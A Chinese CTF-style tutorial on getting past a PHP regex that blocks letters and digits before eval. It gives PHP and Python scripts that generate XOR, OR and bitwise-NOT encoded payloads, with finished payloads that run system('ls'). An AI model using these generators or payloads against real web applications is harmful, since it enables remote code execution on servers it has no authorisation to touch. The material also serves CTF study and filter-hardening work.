无字母数字绕过正则表达式

news2024/9/24 5:32:37

目录

1、题目代码

1.异或

php部分:

python代码:

2.或

php代码

python代码

测试结果:

3、取反

php脚本:

测试结果:


1、题目代码

<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
    die('hacker');
}
eval($code);

我们下面以命令system('ls')为例:

1.异或

php部分:

<?php

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

php运行后生成一个txt文档,包含所有可见字符的异或构造结果。

python代码:

        

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

运行python脚本后,得到:

[+] your function:system
[+] your command:ls
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");

 

将得到的结果复制过去即可,最终效果如下图所示:

2.或

原理是相同的,只需要把上面的脚本上稍加改动即可

php代码

<?php
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

运行后得到:

python代码

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

执行:

[+] your function:system
[+] your command:ls
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");

测试结果:

3、取反

        因为取反的话,基本上用的都是一个不可见字符,所有不会触发到正则表达式,我们一个php脚本就可以了

php脚本:

<?php
//在命令行中运行

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

运行结果:

[+]your function: system
[+]your command: ls
[*] (~%8C%86%8C%8B%9A%92)(~%93%8C);
 

测试结果:

欧克,结束!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2033814.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

速度曲线轨迹规划程序优化(封装FC)

1、S型速度曲线点动控制功能块 S型速度曲线点动控制功能块(博途SCL代码)-CSDN博客文章浏览阅读16次。点动功能块只有4个约束条件。https://rxxw-control.blog.csdn.net/article/details/139657487 2、梯形速度曲线绝对值定位功能块 梯形速度曲线绝对值定位功能块(博途SCL代码…

设计模式六大原则之:单一职责原则

1. 单一职责简介 设计模式中的单一职责原则&#xff08;‌Single Responsibility Principle, SRP&#xff09;‌是面向对象设计中的一个基本原则&#xff0c;‌它强调一个类应该仅有一个引起它变化的原因。‌换句话说&#xff0c;‌一个类应该负责一组相对独立且紧密相关的职责…

VisionPro二次开发学习笔记13-使用CogToolBlock进行图像交互

该程序演示了如何使用CogToolBlock进行图像交互. 从vpp文件中加载一个ToolBlock。 用户可以通过应用程序窗体上的数字增减控件修改ToolBlock输入端子的值。 用户还可以从coins.idb或采集FIFO中选择图像。 “运行一次”按钮执行以下操作&#xff1a; 获取下一个图像或读取下一…

数学建模学习笔记

数学建模学习笔记 现学现卖&#xff0c;随缘更新QwQ 主要根据b站大师兄的视频整理而成&#xff0c;有不懂的可以去看原视频 List 数学建模学习笔记一、 层次分析法1.1 矩阵的一致性及其检验1.2 权重计算1.3 具体流程 二、模糊综合评测2.1 隶属函数2.2 隶属函数的确定方法2.3 模…

项目管理中的关键节点——里程碑

里程碑作为项目管理过程中的关键节点&#xff0c;它不仅为项目团队提供了清晰的方向和阶段性目标&#xff0c;还确保了项目能够按照既定的路线稳步前进。 里程碑是项目进程中&#xff0c;那些标志着项目阶段完成或关键决策点的重大事件或时间点。与日常任务或活动不同&#x…

图论(强联通分量)

在图论中&#xff0c;特别是在讨论有向图&#xff08;Directed Graph&#xff09;时&#xff0c;我们常常需要了解图的结构特性&#xff0c;比如强联通分量&#xff08;Strongly Connected Components, SCC&#xff09;。了解强联通分量中的各种边对于理解图的整体结构以及某些…

iPhone官方商店软件下载---免费看各种剧第④弹【iOS版包括iPad】

①点击iPhone自带软件App Store ②点击搜索&#xff0c;输入“模数转换器” &#xff0c;点击下载到手机 ③进入软件页面后&#xff0c;我们需要激活页面&#xff0c;点击“setting”&#xff0c;再点击“feedback” ④在反馈界面输入“小饼干”&#xff0c;点击“Summit”&a…

springboot,mysql多数据源-mybaits

为啥要多数据源&#xff0c;因为我现在有个需求&#xff0c;需要将A库的查询结果&#xff0c;写入到B库。 但是原来的springboot里面就只有A库&#xff0c;所以现在要加上B库。 1.修改application.yaml的数据库连接 这个是原来的 现在改成 其实就是将datasource:xxx&#xff…

微型家庭中控STM32+C#上位机_(STM32部分)

今日尝试开发一款简单好学的 C8T6C#_Winform上位机 的微型家庭中控设备的 小试验品&#xff1a; 这个设备将成为我毕设系统的一个小部分...... 主要开发环境与工具介绍&#xff1a; 单片机 STM32F103C8T6 使用标准库函数编程 Visual Studio 2022软件 C# Winform 开发 上位机…

【相机与图像】2. 相机内外参的标定的代码示例

1 摄像头内参的标定 【相机标定具体操作】 使用将要标定的摄像头&#xff0c;以不同的角度采集棋盘格&#xff0c;要保证视野内出现完整的棋盘格。采集图片数量约15张左右即可。 以11*8的棋盘格为例&#xff0c;具体流程如下&#xff1a; step 1. 设置棋盘格3D点&#xff1b;通…

MapReduce_Writable序列化

使用序列化封装对象 将输入的csv按照员工号拆分成每个员工&#xff0c;每个员工存储为员工对象 数据处理过程 employee_noheader.csv 1,ZhangSan,101,5000 2,LiSi,102,6000 3,WangWu,101,5500 4,ZhaoLiu,103,7000 5,SunQi,102,6500pom.xml <?xml version"1.0&qu…

ctfshow-web入门-sql注入(web201-web205)系统练习sqlmap的使用

目录 1、web201 2、web202 3、web203 4、web204 5、web205 开始系统练习sqlmap的使用 1、web201 随便提交一个看下它调用的接口和请求的参数有哪些 可以看到 URL 为&#xff1a; https://32c7d026-d195-4074-a0f9-492c17dc1a2c.challenge.ctf.show/api/?id1&page1&…

微信答题小程序产品研发-前端开发

开发一款答题小程序界面&#xff0c;涉及到的技术栈&#xff0c;主要包括微信小程序的WXML、WXSS、JavaScript等。 由于时间有限&#xff0c;我先大致记录一下各个功能模块的基本开发概要&#xff0c;后面有空了再详细整理&#xff0c;分享给大家。 1. 首页 &#xff08;1&am…

Windows网络重置后无法连接网络

Windows网络重置后重启电脑无法连接到网络 打开命令提示符快捷键winR输入msconfig点击确定 在系统配置中找到服务先全部禁用&#xff0c;在全部启用&#xff0c;点击应用后重启电脑就可以了

LVS的简单配置及对Mysql主从复制的补充

Day 22 LVS的配置 环境准备 DSN() 用来解析各主机的域名和ip地址&#xff0c;配置域名解析huajuan&#xff0c;负责管理其他主机 web1--->web1.tangpin.huajuan web2--->web2.tangpin.huajuan dns--->dns.tangpin.huajuan web1(192.168.2.200) 用nginx…

解决 MacOS 连接公司 VPN 成功但是不能网络的问题

目录 解决办法2024 Mac mini 爆料 解决办法 操作比较简单&#xff0c;修改配置文件即可&#xff08;如果没有则需要手动创建&#xff09;。 sudo vim /etc/ppp/options在此文件下&#xff0c;加入 plugin L2TP.ppp&#xff1a; plugin L2TP.ppp如果文件里有l2tpnoipsec&…

基于ESP32的智能门锁系统测试

项目介绍 基于ESP32的智能门锁系统。可以运用在商务办公、家用住宅、酒店以及公租房短租公寓等领域。基于esp32的智能门锁系统是生物识别技术和嵌入式系统技术的完美结合&#xff0c;基于ESP32系统进行开发&#xff0c;同时在云端服务器搭建了MQTT服务器并连接开源的家庭自动化…

Apple Intelligence 最詳細解說

Apple Intelligence究竟是什麼&#xff1f; 顧名思義&#xff0c;Apple Intelligence就是Apple獨家開發的 AI 模型&#xff08;深度整合至 iOS 18、iPadOS 18 和 macOS Sequoia&#xff09;&#xff0c;旨在透過理解和生成語言和圖像、解讀上下文&#xff0c;並在特定App中執行…

【计算机网络】UDP实战

其实经过这几天写的几种不同的UDP的简易客户端与服务端&#xff0c;还是很有套路的&#xff0c;起手式都是非常像的。 更多的难点对我来说反而是解耦&#xff0c;各种各样的function一用&#xff0c;回调函数一调&#xff0c;呕吼&#xff0c;就会懵一下。 对于这篇文章&#x…

成功解决7版本的数据库导入 8版本数据库脚本报错问题

我 | 在这里 ⭐ 全栈开发攻城狮、全网10W粉丝、2022博客之星后端领域Top1、专家博主。 &#x1f393;擅长 指导毕设 | 论文指导 | 系统开发 | 毕业答辩 | 系统讲解等。已指导60位同学顺利毕业 ✈️个人公众号&#xff1a;热爱技术的小郑。回复 Java全套视频教程 或 前端全套视频…